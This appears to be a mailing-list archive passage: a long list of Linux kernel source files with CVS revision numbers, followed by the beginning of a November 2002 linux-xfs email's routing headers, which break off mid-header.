linux/drivers/char/busmouse.c - 1.20 linux/drivers/char/acquirewdt.c - 1.19 linux/drivers/char/ChangeLog - 1.4 linux/drivers/cdrom/sjcd.c - 1.27 linux/drivers/cdrom/sbpcd.c - 1.33 linux/drivers/cdrom/optcd.c - 1.28 linux/drivers/cdrom/mcd.c - 1.28 linux/drivers/cdrom/gscd.c - 1.28 linux/drivers/cdrom/cm206.c - 1.29 linux/drivers/cdrom/aztcd.c - 1.30 linux/drivers/block/rd.c - 1.68 linux/drivers/block/ps2esdi.c - 1.54 linux/drivers/block/paride/pt.c - 1.19 linux/drivers/block/paride/pseudo.h - 1.9 linux/drivers/block/paride/pg.c - 1.19 linux/drivers/block/nbd.c - 1.48 linux/drivers/block/loop.c - 1.74 linux/drivers/block/ll_rw_blk.c - 1.123 linux/drivers/block/genhd.c - 1.42 linux/drivers/block/floppy.c - 1.59 linux/drivers/block/ataflop.c - 1.34 linux/drivers/block/acsi_slm.c - 1.12 linux/drivers/block/acsi.c - 1.43 linux/drivers/acorn/scsi/powertec.c - 1.18 linux/drivers/acorn/scsi/eesox.c - 1.18 linux/drivers/acorn/scsi/cumana_2.c - 1.18 linux/drivers/acorn/block/fd1772.c - 1.28 linux/arch/sparc64/kernel/traps.c - 1.24 linux/arch/sparc64/kernel/systbls.S - 1.35 linux/arch/sparc64/kernel/sys_sparc32.c - 1.63 linux/arch/sparc64/kernel/sys32.S - 1.6 linux/arch/sparc64/kernel/ioctl32.c - 1.61 linux/arch/sparc64/kernel/cpu.c - 1.10 linux/arch/sparc64/Makefile - 1.23 linux/arch/sparc/mm/sun4c.c - 1.39 linux/arch/sparc/kernel/systbls.S - 1.28 linux/arch/sparc/kernel/sys_sparc.c - 1.16 linux/arch/sparc/kernel/ioport.c - 1.23 linux/arch/sparc/boot/Makefile - 1.10 linux/arch/sparc/Makefile - 1.20 linux/arch/ppc/mm/init.c - 1.46 linux/arch/ppc/mm/Makefile - 1.13 linux/arch/ppc/kernel/setup.c - 1.52 linux/arch/ppc/kernel/prom.c - 1.32 linux/arch/ppc/kernel/prep_nvram.c - 1.12 linux/arch/ppc/kernel/ppc_ksyms.c - 1.52 linux/arch/ppc/kernel/ppc8xx_pic.h - 1.8 linux/arch/ppc/kernel/ppc8xx_pic.c - 1.11 linux/arch/ppc/kernel/pci.c - 1.31 linux/arch/ppc/kernel/open_pic.c - 1.31 linux/arch/ppc/kernel/misc.S - 1.51 linux/arch/ppc/kernel/indirect_pci.c - 1.11 linux/arch/ppc/kernel/idle.c - 1.27 linux/arch/ppc/kernel/i8259.c - 1.14 linux/arch/ppc/kernel/head.S - 1.37 linux/arch/ppc/kernel/Makefile - 1.34 linux/arch/ppc/boot/Makefile - 1.20 linux/arch/ppc/Makefile - 1.33 linux/arch/m68k/mac/macboing.c - 1.5 linux/arch/m68k/amiga/amisound.c - 1.11 linux/arch/i386/mm/init.c - 1.48 linux/arch/i386/kernel/traps.c - 1.66 linux/arch/i386/kernel/time.c - 1.31 linux/arch/i386/kernel/process.c - 1.61 linux/arch/i386/kernel/entry.S - 1.68 linux/arch/i386/kernel/Makefile - 1.40 linux/arch/i386/Makefile - 1.40 linux/arch/arm/mm/Makefile - 1.22 linux/arch/arm/kernel/process.c - 1.33 linux/arch/arm/Makefile - 1.38 linux/arch/alpha/kernel/traps.c - 1.25 linux/arch/alpha/kernel/ptrace.c - 1.17 linux/arch/alpha/kernel/process.c - 1.31 linux/arch/alpha/kernel/osf_sys.c - 1.35 linux/arch/alpha/kernel/entry.S - 1.33 linux/arch/alpha/kernel/alpha_ksyms.c - 1.38 linux/arch/alpha/Makefile - 1.25 linux/Makefile - 1.231 linux/MAINTAINERS - 1.126 linux/Documentation/kbuild/config-language.txt - 1.10 linux/Documentation/kbuild/00-INDEX - 1.4 linux/Documentation/Changes - 1.60 linux/CREDITS - 1.92 linux/net/decnet/dn_route.c - 1.24 linux/include/linux/ide.h - 1.70 linux/fs/hpfs/super.c - 1.22 linux/fs/hpfs/inode.c - 1.23 linux/fs/hpfs/dnode.c - 1.7 linux/drivers/sbus/char/aurora.c - 1.22 linux/drivers/acorn/scsi/arxescsi.c - 1.15 linux/arch/i386/vmlinux.lds.S - 1.13 linux/drivers/char/dz.c - 1.19 linux/drivers/char/ppdev.c - 1.34 linux/arch/arm/def-configs/rpc - 1.12 linux/drivers/net/hamradio/yam.c - 1.20 linux/drivers/char/sx.c - 1.27 linux/fs/partitions/check.c - 1.60 linux/drivers/char/ip2main.c - 1.22 linux/drivers/char/ip2/i2ellis.c - 1.5 linux/net/core/netfilter.c - 1.18 linux/arch/arm/vmlinux-armv.lds.in - 1.22 linux/arch/alpha/kernel/pci.c - 1.26 linux/arch/sparc64/kernel/pci.c - 1.32 linux/drivers/char/applicom.c - 1.13 linux/drivers/pcmcia/tcic.c - 1.18 linux/drivers/pcmcia/ricoh.h - 1.7 linux/drivers/pcmcia/o2micro.h - 1.5 linux/drivers/pcmcia/i82365.h - 1.4 linux/drivers/pcmcia/i82365.c - 1.28 linux/drivers/pcmcia/ds.c - 1.23 linux/drivers/pcmcia/cs_internal.h - 1.12 linux/drivers/pcmcia/cistpl.c - 1.14 linux/drivers/pcmcia/cirrus.h - 1.4 linux/drivers/pcmcia/cardbus.c - 1.22 linux/drivers/block/swim_iop.c - 1.21 linux/include/pcmcia/ciscode.h - 1.7 linux/drivers/pcmcia/tcic.h - 1.4 linux/drivers/pcmcia/ti113x.h - 1.8 linux/drivers/pcmcia/topic.h - 1.3 linux/drivers/pcmcia/vg468.h - 1.4 linux/drivers/net/pcmcia/ray_cs.c - 1.26 linux/drivers/net/pcmcia/pcnet_cs.c - 1.21 linux/drivers/net/pcmcia/3c589_cs.c - 1.23 linux/arch/ppc/kernel/qspan_pci.c - 1.8 linux/arch/ppc/kernel/m8xx_setup.c - 1.26 linux/include/linux/pci_ids.h - 1.78 linux/drivers/net/pcmcia/3c574_cs.c - 1.21 linux/drivers/net/pcmcia/nmclan_cs.c - 1.15 linux/drivers/net/pcmcia/fmvj18x_cs.c - 1.19 linux/drivers/net/pcmcia/smc91c92_cs.c - 1.18 linux/include/asm-arm/arch-sa1100/hardware.h - 1.16 linux/fs/proc/proc_misc.c - 1.49 linux/drivers/pci/pci.ids - 1.54 linux/arch/alpha/math-emu/math.c - 1.6 linux/kernel/timer.c - 1.37 linux/net/ipv4/inetpeer.c - 1.8 linux/arch/ppc/kernel/ppc4xx_pic.c - 1.7 linux/drivers/pci/setup-bus.c - 1.7 linux/drivers/scsi/scsi_scan.c - 1.35 linux/drivers/char/mixcomwd.c - 1.13 linux/drivers/char/vme_scc.c - 1.12 linux/drivers/char/efirtc.c - 1.11 linux/drivers/atm/iphase.c - 1.17 linux/drivers/atm/idt77105.c - 1.6 linux/arch/ia64/kernel/process.c - 1.23 linux/include/asm-ia64/elf.h - 1.7 linux/Documentation/filesystems/devfs/ChangeLog - 1.26 linux/include/linux/devfs_fs_kernel.h - 1.14 linux/fs/devfs/util.c - 1.15 linux/fs/devfs/base.c - 1.47 linux/net/bridge/br_if.c - 1.8 linux/arch/mips/ddb5074/pci.c - 1.10 linux/drivers/char/wdt977.c - 1.12 linux/drivers/char/wdt285.c - 1.12 linux/drivers/char/nwflash.c - 1.14 linux/drivers/char/nwbutton.c - 1.8 linux/drivers/char/ds1620.c - 1.7 linux/arch/mips64/sgi-ip27/ip27-pci.c - 1.7 linux/arch/alpha/kernel/irq_alpha.c - 1.12 linux/drivers/char/sh-sci.c - 1.20 linux/drivers/ide/ide.c - 1.77 linux/drivers/ide/ide-proc.c - 1.25 linux/drivers/ide/ide-probe.c - 1.46 linux/drivers/ide/ide-dma.c - 1.33 linux/drivers/ide/ide-disk.c - 1.53 linux/drivers/ide/ide-cd.c - 1.55 linux/drivers/block/elevator.c - 1.27 linux/drivers/net/wan/comx-proto-fr.c - 1.11 linux/include/linux/nfs_flushd.h - 1.4 linux/fs/nfs/flushd.c - 1.14 linux/drivers/char/wdt_pci.c - 1.14 linux/fs/nfs/nfs3proc.c - 1.17 linux/drivers/usb/serial/visor.h - 1.13 linux/drivers/usb/serial/visor.c - 1.45 linux/include/linux/nfs_page.h - 1.10 linux/arch/ppc/kernel/ppc8260_pic.h - 1.5 linux/arch/ppc/kernel/ppc8260_pic.c - 1.7 linux/arch/ppc/kernel/m8260_setup.c - 1.17 linux/Documentation/DocBook/kernel-hacking.tmpl - 1.12 linux/drivers/char/i810_rng.c - 1.11 linux/drivers/usb/storage/transport.c - 1.34 linux/drivers/char/sbc60xxwdt.c - 1.15 linux/arch/i386/kernel/i387.c - 1.11 linux/include/asm-arm/arch-sa1100/SA-1101.h - 1.3 linux/drivers/ieee1394/video1394.c - 1.23 linux/drivers/mtd/ftl.c - 1.30 linux/drivers/mtd/mtdblock.c - 1.27 linux/include/linux/mtd/ftl.h - 1.4 linux/net/ipv4/tcp_minisocks.c - 1.20 linux/drivers/usb/storage/shuttle_usbat.c - 1.15 linux/drivers/usb/storage/sddr09.c - 1.21 linux/drivers/usb/storage/freecom.c - 1.17 linux/drivers/media/video/msp3400.c - 1.12 linux/drivers/md/raid1.c - 1.27 linux/drivers/md/raid5.c - 1.37 linux/arch/i386/kernel/bluesmoke.c - 1.30 linux/drivers/block/cciss.c - 1.49 linux/drivers/char/toshiba.c - 1.7 linux/drivers/macintosh/rtc.c - 1.8 linux/drivers/md/md.c - 1.64 linux/drivers/net/sundance.c - 1.20 linux/include/asm-ppc/highmem.h - 1.12 linux/drivers/media/video/tvaudio.c - 1.11 linux/net/irda/irsyms.c - 1.10 linux/include/asm-generic/xor.h - 1.2 linux/include/asm-parisc/mman.h - 1.3 linux/arch/arm/def-configs/neponset - 1.12 linux/arch/parisc/mm/init.c - 1.5 linux/include/asm-parisc/pgtable.h - 1.8 linux/arch/parisc/lib/Makefile - 1.6 linux/arch/parisc/kernel/sys_parisc.c - 1.6 linux/arch/parisc/kernel/setup.c - 1.5 linux/arch/parisc/kernel/pdc_cons.c - 1.5 linux/arch/parisc/kernel/pci.c - 1.4 linux/arch/parisc/kernel/keyboard.c - 1.3 linux/arch/parisc/kernel/irq.c - 1.6 linux/arch/parisc/Makefile - 1.10 linux/mm/shmem.c - 1.51 linux/drivers/scsi/osst.c - 1.19 linux/arch/ppc/kernel/open_pic_defs.h - 1.7 linux/drivers/sbus/char/cpwatchdog.c - 1.8 linux/arch/cris/drivers/ethernet.c - 1.10 linux/net/ipv4/netfilter/ipt_TCPMSS.c - 1.6 linux/drivers/scsi/aic7xxx_old/aic7xxx_proc.c - 1.5 linux/drivers/scsi/aic7xxx_old/aic7xxx.h - 1.7 linux/drivers/scsi/aic7xxx_old.c - 1.24 linux/drivers/char/machzwd.c - 1.11 linux/drivers/char/advantechwdt.c - 1.8 linux/net/wanrouter/af_wanpipe.c - 1.12 linux/drivers/char/qtronix.c - 1.5 linux/arch/sh/kernel/pci_st40.c - 1.6 linux/arch/mips/ddb5476/pci.c - 1.5 linux/drivers/net/irda/irda-usb.c - 1.26 linux/arch/ppc/boot/include/nonstdio.h - 1.4 linux/arch/ppc/boot/images/Makefile - 1.4 linux/arch/ppc/boot/common/misc-common.c - 1.7 linux/drivers/net/wireless/airo_cs.c - 1.3 linux/arch/sh/kernel/pci-sh7751.c - 1.5 linux/arch/sh/kernel/pci-dc.c - 1.4 linux/drivers/scsi/pcmcia/nsp_cs.c - 1.12 linux/drivers/scsi/pcmcia/nsp_cs.h - 1.7 linux/drivers/char/sonypi.c - 1.10 linux/drivers/char/w83877f_wdt.c - 1.9 linux/drivers/net/dl2k.h - 1.10 linux/drivers/net/dl2k.c - 1.19 linux/drivers/ieee1394/sbp2.c - 1.16 linux/drivers/ieee1394/sbp2.h - 1.11 linux/drivers/usb/storage/jumpshot.c - 1.10 linux/drivers/usb/storage/isd200.c - 1.11 linux/drivers/usb/storage/datafab.c - 1.10 linux/drivers/scsi/pcmcia/nsp_message.c - 1.5 linux/arch/ppc/mm/ppc_mmu.c - 1.7 linux/arch/ppc/kernel/btext.c - 1.6 linux/drivers/char/serial_tx3912.c - 1.7 linux/arch/mips64/sgi-ip32/ip32-pci.c - 1.3 linux/drivers/char/ite_gpio.c - 1.4 linux/drivers/parport/parport_cs.c - 1.4 linux/drivers/pcmcia/sa1100_generic.c - 1.12 linux/drivers/char/ib700wdt.c - 1.5 linux/drivers/char/shwdt.c - 1.7 linux/drivers/char/eurotechwdt.c - 1.6 linux/drivers/char/i8k.c - 1.3 linux/fs/ext3/ialloc.c - 1.18 linux/fs/ext3/inode.c - 1.27 linux/fs/ext3/namei.c - 1.14 linux/fs/ext3/super.c - 1.27 linux/drivers/hotplug/pci_hotplug_util.c - 1.5 linux/drivers/hotplug/pci_hotplug.h - 1.4 linux/drivers/hotplug/Makefile - 1.6 linux/drivers/char/hp_psaux.c - 1.2 linux/fs/intermezzo/vfs.c - 1.11 linux/include/linux/ext3_fs.h - 1.12 linux/fs/nfs/pagelist.c - 1.8 linux/fs/ext3/dir.c - 1.7 linux/fs/ext3/acl.c - 1.5 linux/drivers/net/pcmcia/ax8390.h - 1.3 linux/drivers/net/pcmcia/axnet_cs.c - 1.4 linux/drivers/net/wireless/wavelan.p.h - 1.4 linux/include/linux/pnpbios.h - 1.5 linux/sound/pci/ens1370.c - 1.13 linux/arch/ppc/8xx_io/cs4218_tdm.c - 1.3 linux/sound/pci/emu10k1/emufx.c - 1.10 linux/sound/pci/cs46xx/cs46xx_lib.c - 1.8 linux/sound/pci/cs46xx/cs46xx.c - 1.13 linux/sound/pci/ali5451/ali5451.c - 1.11 linux/sound/pci/ac97/ac97_codec.c - 1.9 linux/arch/ppc/boot/simple/Makefile - 1.8 linux/sound/oss/uart6850.c - 1.3 linux/sound/oss/sys_timer.c - 1.3 linux/sound/oss/soundcard.c - 1.4 linux/arch/ppc/kernel/gt64260_common.c - 1.2 linux/arch/ppc/kernel/gt64260_pic.c - 1.2 linux/arch/ppc/kernel/harrier.c - 1.2 linux/sound/oss/midibuf.c - 1.4 linux/arch/ppc/kernel/mpc10x_common.c - 1.2 linux/arch/ppc/kernel/pci_auto.c - 1.2 linux/arch/ppc/kernel/ppc405_dma.c - 1.2 linux/arch/ppc/kernel/ppc405_pci.c - 1.2 linux/arch/ppc/kernel/ppc4xx_kgdb.c - 1.2 linux/arch/ppc/kernel/ppc4xx_pm.c - 1.2 linux/arch/ppc/kernel/ppc4xx_serial.c - 1.3 linux/arch/ppc/kernel/ppc4xx_setup.c - 1.7 linux/arch/ppc/kernel/pplus_common.c - 1.2 linux/arch/ppc/kernel/prom_init.c - 1.4 linux/arch/ppc/kernel/todc_time.c - 1.2 linux/sound/oss/dmasound/dmasound_awacs.c - 1.4 linux/arch/ppc/platforms/Makefile - 1.8 linux/arch/ppc/platforms/adir_pci.c - 1.2 linux/arch/ppc/platforms/cpc700.h - 1.3 linux/arch/ppc/platforms/cpc700_pic.c - 1.3 linux/arch/ppc/platforms/cpc710.h - 1.2 linux/arch/ppc/platforms/iSeries_setup.c - 1.4 linux/arch/ppc/platforms/k2_pci.c - 1.2 linux/arch/ppc/platforms/pmac_setup.c - 1.8 linux/arch/ppc/platforms/prep_pci.c - 1.7 linux/arch/ppc/platforms/prep_setup.c - 1.11 linux/arch/ppc/platforms/spruce_pci.c - 1.2 linux/arch/ppc/platforms/spruce_setup.c - 1.7 linux/sound/isa/es18xx.c - 1.10 linux/sound/isa/cs423x/cs4231_lib.c - 1.7 linux/sound/drivers/serial-u16550.c - 1.10 linux/sound/drivers/mtpav.c - 1.8 linux/sound/drivers/dummy.c - 1.9 linux/sound/core/timer.c - 1.9 linux/sound/core/seq/seq_prioq.c - 1.5 linux/sound/core/rawmidi.c - 1.11 linux/sound/core/pcm_native.c - 1.10 linux/sound/core/oss/pcm_oss.c - 1.12 linux/sound/core/init.c - 1.7 linux/sound/core/info.c - 1.9 linux/include/sound/version.h - 1.13 linux/include/sound/pcm.h - 1.7 linux/include/sound/info.h - 1.5 linux/include/sound/cs46xx.h - 1.6 linux/include/sound/cs4231.h - 1.3 linux/include/sound/core.h - 1.13 linux/include/asm-ppc/ibm4xx.h - 1.3 linux/arch/ppc64/mm/init.c - 1.11 linux/include/asm-ppc64/elf.h - 1.4 linux/arch/ppc64/Makefile - 1.12 linux/arch/ppc64/boot/Makefile - 1.7 linux/arch/ppc64/defconfig - 1.11 linux/arch/ppc64/kernel/htab.c - 1.7 linux/arch/ppc64/kernel/ioctl32.c - 1.10 linux/arch/ppc64/kernel/pSeries_lpar.c - 1.8 linux/arch/ppc64/kernel/pci.c - 1.8 linux/arch/ppc64/kernel/udbg.c - 1.5 linux/include/asm-ppc64/machdep.h - 1.9 linux/include/asm-ppc64/mman.h - 1.4 linux/include/asm-ppc64/unistd.h - 1.9 linux/include/asm-ppc64/processor.h - 1.11 linux/include/asm-ppc64/poll.h - 1.2 linux/fs/jfs/inode.c - 1.18 linux/drivers/net/tg3.c - 1.13 linux/drivers/net/tulip/de2104x.c - 1.6 linux/drivers/net/tulip/de4x5.c - 1.6 linux/drivers/net/e100/e100.h - 1.10 linux/drivers/net/e100/e100_main.c - 1.10 linux/arch/ia64/sn/kernel/irq.c - 1.2 linux/arch/ia64/sn/kernel/mca.c - 1.3 linux/drivers/net/wan/comx-hw-munich.c - 1.6 linux/include/asm-ppc/tlbflush.h - 1.6 linux/include/asm-ppc/cacheflush.h - 1.4 linux/drivers/usb/core/devio.c - 1.12 linux/drivers/usb/core/hcd.h - 1.9 linux/drivers/usb/host/ohci-dbg.c - 1.8 linux/drivers/usb/host/ohci-q.c - 1.15 linux/drivers/usb/host/ohci.h - 1.8 linux/drivers/usb/image/scanner.c - 1.12 linux/drivers/usb/image/scanner.h - 1.7 linux/drivers/net/e100/e100_test.c - 1.5 linux/drivers/usb/media/vicam.c - 1.7 linux/mm/readahead.c - 1.12 linux/arch/ppc64/kernel/nvram.c - 1.3 linux/arch/ppc64/kernel/pSeries_htab.c - 1.4 linux/drivers/scsi/scsi_mid_low_api.txt - 1.5 linux/drivers/char/synclinkmp.c - 1.5 linux/sound/i2c/l3/uda1341.c - 1.3 linux/drivers/block/umem.c - 1.16 linux/arch/i386/pci/common.c - 1.6 linux/arch/i386/pci/fixup.c - 1.5 linux/drivers/pci/hotplug.c - 1.6 linux/drivers/pci/probe.c - 1.8 linux/drivers/usb/storage/sddr55.c - 1.5 linux/include/linux/umem.h - 1.2 linux/drivers/pci/search.c - 1.2 linux/fs/mpage.c - 1.14 linux/drivers/char/hvc_console.c - 1.6 linux/drivers/usb/host/ohci-sa1111.c - 1.8 linux/drivers/usb/host/ohci-pci.c - 1.4 linux/arch/i386/kernel/cpu/cyrix.c - 1.4 linux/arch/i386/kernel/cpu/Makefile - 1.4 linux/arch/i386/kernel/cpu/centaur.c - 1.3 linux/arch/i386/kernel/cpu/common.c - 1.9 linux/arch/alpha/kernel/asm-offsets.c - 1.3 linux/sound/pci/rme9652/hdsp.c - 1.5 linux/sound/pci/rme9652/hammerfall_mem.c - 1.4 linux/sound/isa/sb/emu8000_pcm.c - 1.3 linux/drivers/input/serio/rpckbd.c - 1.4 linux/drivers/input/serio/i8042.c - 1.7 linux/drivers/input/mouse/rpcmouse.c - 1.5 linux/drivers/input/mouse/Makefile - 1.2 linux/include/linux/sunrpc/timer.h - 1.2 linux/net/sunrpc/timer.c - 1.2 linux/drivers/serial/clps711x.c - 1.4 linux/drivers/serial/uart00.c - 1.4 linux/drivers/input/serio/ambakmi.c - 1.2 linux/drivers/char/agp/agp.c - 1.5 linux/drivers/serial/anakin.c - 1.4 linux/drivers/serial/amba.c - 1.5 linux/drivers/serial/Makefile - 1.6 linux/drivers/serial/sunzilog.c - 1.5 linux/arch/alpha/vmlinux.lds.S - 1.4 linux/net/sctp/protocol.c - 1.8 linux/include/net/sctp/sctp.h - 1.5 linux/net/sctp/associola.c - 1.5 linux/include/linux/sctp.h - 1.3 linux/net/sctp/input.c - 1.5 linux/net/sctp/ipv6.c - 1.5 linux/net/sctp/output.c - 1.4 linux/net/sctp/outqueue.c - 1.6 linux/include/net/sctp/sm.h - 1.5 linux/net/sctp/sm_make_chunk.c - 1.6 linux/net/sctp/sm_sideeffect.c - 1.7 linux/net/sctp/sm_statefuns.c - 1.6 linux/include/net/sctp/structs.h - 1.6 linux/net/sctp/socket.c - 1.7 linux/net/sctp/transport.c - 1.3 linux/drivers/ide/setup-pci.c - 1.6 linux/drivers/ide/ppc/pmac.c - 1.3 linux/drivers/ide/pci/sl82c105.c - 1.6 linux/drivers/ide/legacy/ide-cs.c - 1.2 linux/arch/ppc64/vmlinux.lds.S - 1.2 linux/arch/sparc64/vmlinux.lds.S - 1.4 linux/arch/sparc/vmlinux.lds.S - 1.4 linux/arch/ppc/vmlinux.lds.S - 1.4 linux/arch/parisc/vmlinux.lds.S - 1.3 linux/arch/i386/mm/hugetlbpage.c - 1.5 linux/kernel/pid.c - 1.3 linux/arch/i386/mach-generic/do_timer.h - 1.3 linux/arch/ppc64/mm/numa.c - 1.2 linux/arch/ppc/boot/openfirmware/newworldmain.c - 1.2 linux/arch/ppc/boot/openfirmware/common.c - 1.2 linux/arch/ppc/boot/openfirmware/coffmain.c - 1.2 linux/arch/ppc/boot/openfirmware/chrpmain.c - 1.2 linux/drivers/block/deadline-iosched.c - 1.4 linux/sound/sparc/amd7930.c - 1.3 linux/sound/pci/cs46xx/dsp_spos_scb_lib.c - 1.3 linux/sound/pci/cs46xx/dsp_spos.h - 1.3 linux/sound/pci/cs46xx/dsp_spos.c - 1.3 linux/sound/pci/cs46xx/cs46xx_lib.h - 1.3 linux/sound/pci/ac97/ac97_patch.h - 1.3 linux/sound/pci/ac97/ac97_patch.c - 1.3 linux/sound/pci/ac97/ac97_id.h - 1.3 linux/sound/core/pcm_sgbuf.c - 1.3 linux/kernel/cpufreq.c - 1.3 linux/include/sound/pcm_sgbuf.h - 1.3 linux/include/sound/cs46xx_dsp_spos.h - 1.3 linux/include/linux/cpufreq.h - 1.3 linux/arch/i386/kernel/cpu/cpufreq/speedstep.c - 1.2 linux/sound/usb/usbmidi.c - 1.3 linux/sound/usb/usbaudio.h - 1.3 linux/sound/usb/usbaudio.c - 1.4 linux/sound/pci/via82xx.c - 1.3 linux/sound/pci/ice1712/ice1712.h - 1.3 linux/sound/pci/ice1712/ice1712.c - 1.3 linux/sound/pci/ice1712/ews.c - 1.3 linux/sound/pci/ice1712/delta.h - 1.3 linux/sound/pci/ice1712/delta.c - 1.3 linux/sound/pci/ice1712/ak4524.c - 1.3 linux/drivers/char/amd768_rng.c - 1.3 linux/drivers/char/scx200_wdt.c - 1.2 linux/drivers/usb/misc/usbtest.c - 1.5 linux/include/linux/workqueue.h - 1.2 linux/arch/ppc/platforms/4xx/walnut.h - 1.2 linux/Documentation/DocBook/journal-api.tmpl - 1.2 linux/drivers/net/irda/donauboe.c - 1.2 linux/include/asm-i386/timer.h - 1.2 linux/arch/i386/kernel/timers/timer_tsc.c - 1.3 linux/arch/ppc/kernel/asm-offsets.c - 1.2 linux/arch/ppc/platforms/4xx/ash.h - 1.2 linux/arch/ppc/platforms/4xx/cedar.h - 1.2 linux/arch/ppc/platforms/4xx/ep405.c - 1.2 linux/arch/ppc/platforms/4xx/ep405.h - 1.2 linux/arch/ppc/platforms/4xx/ibm405gp.c - 1.2 linux/arch/ppc/platforms/4xx/ibm405gp.h - 1.2 linux/arch/ppc/platforms/4xx/ibmnp405h.c - 1.2 linux/arch/ppc/platforms/4xx/ibmnp405h.h - 1.2 linux/arch/ppc/platforms/4xx/ibmnp405l.c - 1.2 linux/arch/ppc/platforms/4xx/ibmnp405l.h - 1.2 linux/arch/ppc/platforms/4xx/ibmstb3.c - 1.2 linux/arch/ppc/platforms/4xx/ibmstb3.h - 1.2 linux/arch/ppc/platforms/4xx/ibmstb4.c - 1.2 linux/arch/ppc/platforms/4xx/ibmstb4.h - 1.2 linux/arch/ppc/platforms/4xx/redwood.h - 1.2 linux/arch/ppc/platforms/4xx/redwood5.h - 1.2 linux/arch/ppc/platforms/4xx/walnut.c - 1.2 linux/drivers/mtd/cmdline.c - 1.2 linux/drivers/oprofile/buffer_sync.c - 1.3 linux/net/rxrpc/main.c - 1.3 linux/drivers/char/tipar.c - 1.3 linux/fs/afs/main.c - 1.3 linux/fs/nfs/nfs4proc.c - 1.2 linux/arch/ppc/platforms/pal4_pci.c - 1.2 linux/arch/ppc/platforms/pal4_setup.c - 1.2 linux/Documentation/crypto/api-intro.txt - 1.2 linux/drivers/net/Kconfig - 1.3 linux/drivers/net/irda/Kconfig - 1.2 linux/arch/alpha/Kconfig - 1.3 linux/arch/arm/Kconfig - 1.3 linux/scripts/kconfig/zconf.tab.h_shipped - 1.2 linux/scripts/kconfig/zconf.tab.c_shipped - 1.2 linux/scripts/kconfig/zconf.l - 1.2 linux/scripts/kconfig/qconf.cc - 1.2 linux/scripts/kconfig/menu.c - 1.2 linux/scripts/kconfig/mconf.c - 1.2 linux/net/ipv4/Kconfig - 1.2 linux/include/linux/eventpoll.h - 1.3 linux/arch/i386/Kconfig - 1.3 linux/net/bridge/br_netfilter.c - 1.2 linux/drivers/parport/Kconfig - 1.2 linux/scripts/kconfig/lex.zconf.c_shipped - 1.2 linux/scripts/kconfig/expr.h - 1.2 linux/scripts/kconfig/confdata.c - 1.2 linux/scripts/kconfig/conf.c - 1.2 linux/include/linux/crypto.h - 1.2 linux/arch/m68k/Kconfig - 1.3 linux/arch/mips/Kconfig - 1.3 linux/arch/mips64/Kconfig - 1.3 linux/arch/parisc/Kconfig - 1.3 linux/arch/parisc/kernel/pdc_chassis.c - 1.2 linux/arch/parisc/kernel/perf.c - 1.3 linux/arch/parisc/kernel/processor.c - 1.3 linux/include/linux/pfkeyv2.h - 1.2 linux/drivers/scsi/Kconfig - 1.2 linux/arch/ppc/Kconfig - 1.3 linux/arch/ppc64/Kconfig - 1.3 linux/arch/s390/Kconfig - 1.3 linux/net/ipv4/ah.c - 1.2 linux/drivers/hotplug/Kconfig - 1.2 linux/arch/s390x/Kconfig - 1.3 linux/drivers/hotplug/acpiphp.h - 1.2 linux/drivers/hotplug/acpiphp_core.c - 1.2 linux/arch/sh/Kconfig - 1.3 linux/drivers/hotplug/acpiphp_glue.c - 1.2 linux/drivers/hotplug/acpiphp_pci.c - 1.2 linux/drivers/hotplug/acpiphp_res.c - 1.2 linux/arch/sparc/Kconfig - 1.3 linux/arch/x86_64/Kconfig - 1.3 linux/fs/Kconfig - 1.5 linux/lib/Kconfig - 1.2 linux/crypto/Kconfig - 1.2 linux/crypto/Makefile - 1.2 linux/crypto/api.c - 1.2 linux/crypto/autoload.c - 1.2 linux/crypto/cipher.c - 1.2 linux/crypto/des.c - 1.2 linux/crypto/digest.c - 1.2 linux/crypto/internal.h - 1.2 linux/crypto/sha1.c - 1.2 linux/crypto/tcrypt.c - 1.2 linux/crypto/tcrypt.h - 1.2 linux/net/ipv4/netfilter/ipt_physdev.c - 1.2 linux/net/Kconfig - 1.2 linux/net/ipv4/xfrm_policy.c - 1.2 linux/drivers/input/mouse/Kconfig - 1.2 linux/drivers/serial/Kconfig - 1.2 linux/net/ipv4/xfrm_input.c - 1.2 linux/net/ipv4/xfrm_state.c - 1.2 linux/drivers/usb/misc/Kconfig - 1.2 linux/drivers/usb/class/Kconfig - 1.2 linux/include/net/xfrm.h - 1.2 linux/drivers/input/serio/Kconfig - 1.2 linux/usr/Makefile - 1.2 linux/fs/mbcache.c - 1.2 linux/fs/hugetlbfs/inode.c - 1.2 linux/fs/ext3/xattr_user.c - 1.2 linux/fs/ext2/xattr_user.c - 1.2 linux/fs/eventpoll.c - 1.2 linux/drivers/parisc/wax.c - 1.2 linux/drivers/parisc/superio.c - 1.2 linux/drivers/parisc/sba_iommu.c - 1.2 linux/drivers/parisc/led.c - 1.2 linux/drivers/parisc/lba_pci.c - 1.2 linux/drivers/parisc/lasi.c - 1.2 linux/drivers/parisc/iosapic.c - 1.2 linux/drivers/parisc/gsc.c - 1.2 linux/drivers/parisc/eisa_eeprom.c - 1.2 linux/drivers/parisc/eisa.c - 1.2 linux/drivers/parisc/dino.c - 1.2 linux/drivers/parisc/ccio-rm-dma.c - 1.2 linux/drivers/parisc/ccio-dma.c - 1.2 linux/drivers/parisc/asp.c - 1.2 linux/include/linux/hugetlb.h - 1.2 linux/drivers/parisc/Kconfig - 1.2 linux/include/linux/flat.h - 1.2 linux/arch/m68knommu/Kconfig - 1.2 linux/arch/v850/Kconfig - 1.2 From owner-linux-xfs@oss.sgi.com Mon Nov 11 08:24:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 08:24:59 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.sgi.com [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gABGOsuR006111 for ; Mon, 11 Nov 2002 08:24:55 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA26467 for ; Mon, 11 Nov 2002 10:26:19 -0600 (CST) Received: from taclab54.munich.sgi.com (taclab54.munich.sgi.com [144.253.195.54]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id KAA52494 for ; Mon, 11 Nov 2002 10:26:17 -0600 (CST) Received: (from hch@localhost) by taclab54.munich.sgi.com (8.11.6/8.11.6) id gABNesc02001 for linux-xfs@oss.sgi.com; Mon, 11 Nov 2002 18:40:54 -0500 Resent-Message-Id: <200211112340.gABNesc02001@taclab54.munich.sgi.com> Received: from nodin.corp.sgi.com (nodin.corp.sgi.com [192.26.51.193]) by daisy-e185.americas.sgi.com 